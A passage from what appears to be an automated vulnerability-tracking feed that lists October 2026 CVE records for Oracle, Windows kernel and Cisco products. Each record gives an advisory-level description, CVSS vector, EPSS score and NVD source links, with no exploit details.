FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101638&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101636
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101636).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101636&date=2026-10-25).
Sources:
NVD CVE-2026-101636: https://nvd.nist.gov/vuln/detail/CVE-2026-101636
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101636&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Mobile Field Service accessible data as well as  unauthorized access to critical data or complete access to all Oracle Mobile Field Service accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).
https://kevwire.com/record/CVE-2026-101468
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101468).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101468&date=2026-10-25).
Sources:
NVD CVE-2026-101468: https://nvd.nist.gov/vuln/detail/CVE-2026-101468
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101468&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Cloud Gateway).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).
https://kevwire.com/record/CVE-2026-101466
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues). (Oct 20, 2026).
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101466).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101466&date=2026-10-25).
Sources:
NVD CVE-2026-101466: https://nvd.nist.gov/vuln/detail/CVE-2026-101466
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101466&date=2026-10-25
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).
https://kevwire.com/record/CVE-2026-101464
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). (Oct 20, 2026).
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101464).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101464&date=2026-10-25).
Sources:
NVD CVE-2026-101464: https://nvd.nist.gov/vuln/detail/CVE-2026-101464
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101464&date=2026-10-25
Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure).  Supported versions that are affected are 17.0-26.9. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as  unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70303
Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70303).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70303&date=2026-10-25).
Sources:
NVD CVE-2026-70303: https://nvd.nist.gov/vuln/detail/CVE-2026-70303
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70303
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70303&date=2026-10-25
Out-of-bounds write in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83756
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83756).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83756&date=2026-10-25).
Sources:
NVD CVE-2026-83756: https://nvd.nist.gov/vuln/detail/CVE-2026-83756
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83756
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83756&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83761
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83761).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83761&date=2026-10-25).
Sources:
NVD CVE-2026-83761: https://nvd.nist.gov/vuln/detail/CVE-2026-83761
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83761
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83761&date=2026-10-25
Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83768
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83768).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83768&date=2026-10-25).
Sources:
NVD CVE-2026-83768: https://nvd.nist.gov/vuln/detail/CVE-2026-83768
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83768
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83768&date=2026-10-25
Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76481
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76481 are related to issues concerning improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76481).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76481&date=2026-10-25).
Sources:
NVD CVE-2026-76481: https://nvd.nist.gov/vuln/detail/CVE-2026-76481
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76481&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76481 are related to issues concerning improper handling of exceptional conditions that are grouped under the Common Weakness Enumeration (CWE) Pillar CWE-703.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-87402
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).
CVSS 7.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87402).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87402&date=2026-10-25).
Sources:
NVD CVE-2026-87402: https://nvd.nist.gov/vuln/detail/CVE-2026-87402
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87402&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Applications DBA. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).
https://kevwire.com/record/CVE-2026-87403
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities). (Oct 20, 2026).
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Applications DBA accessible data as well as  unauthorized access to critical data or complete access to all Applications DBA accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.1 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87403).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87403&date=2026-10-25).
Sources:
NVD CVE-2026-87403: https://nvd.nist.gov/vuln/detail/CVE-2026-87403
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87403&date=2026-10-25
Vulnerability in the Applications DBA product of Oracle E-Business Suite (component: AD Utilities).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Applications DBA executes to compromise Applications DBA.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Applications DBA accessible data as well as  unauthorized access to critical data or complete access to all Applications DBA accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).
https://kevwire.com/record/CVE-2026-87404
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine). (Oct 20, 2026).
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87404).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87404&date=2026-10-25).
Sources:
NVD CVE-2026-87404: https://nvd.nist.gov/vuln/detail/CVE-2026-87404
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87404&date=2026-10-25
Vulnerability in the Pasta product of Oracle E-Business Suite (component: Printing Engine).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Pasta.  Successful attacks of this vulnerability can result in takeover of Pasta. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).
https://kevwire.com/record/CVE-2026-87408
Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). (Oct 20, 2026).
Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Applications Framework accessible data as well as  unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87408).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87408&date=2026-10-25).
Sources:
NVD CVE-2026-87408: https://nvd.nist.gov/vuln/detail/CVE-2026-87408
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87408&date=2026-10-25
Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Applications Framework, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Applications Framework accessible data as well as  unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).
https://kevwire.com/record/CVE-2026-87417
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System). (Oct 20, 2026).
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87417).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87417&date=2026-10-25).
Sources:
NVD CVE-2026-87417: https://nvd.nist.gov/vuln/detail/CVE-2026-87417
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87417&date=2026-10-25
Vulnerability in the Oracle Solaris product of Oracle Systems (component: Image Packaging System).   The supported version that is affected is 11.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Solaris.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Solaris accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87419
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core). (Oct 20, 2026).
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87419).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87419&date=2026-10-25).
Sources:
NVD CVE-2026-87419: https://nvd.nist.gov/vuln/detail/CVE-2026-87419
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87419&date=2026-10-25
Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Service Bus.  Successful attacks of this vulnerability can result in takeover of Oracle Service Bus. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Service Bus product of Oracle Fusion Middleware (component: Core).
https://kevwire.com/record/CVE-2026-87420
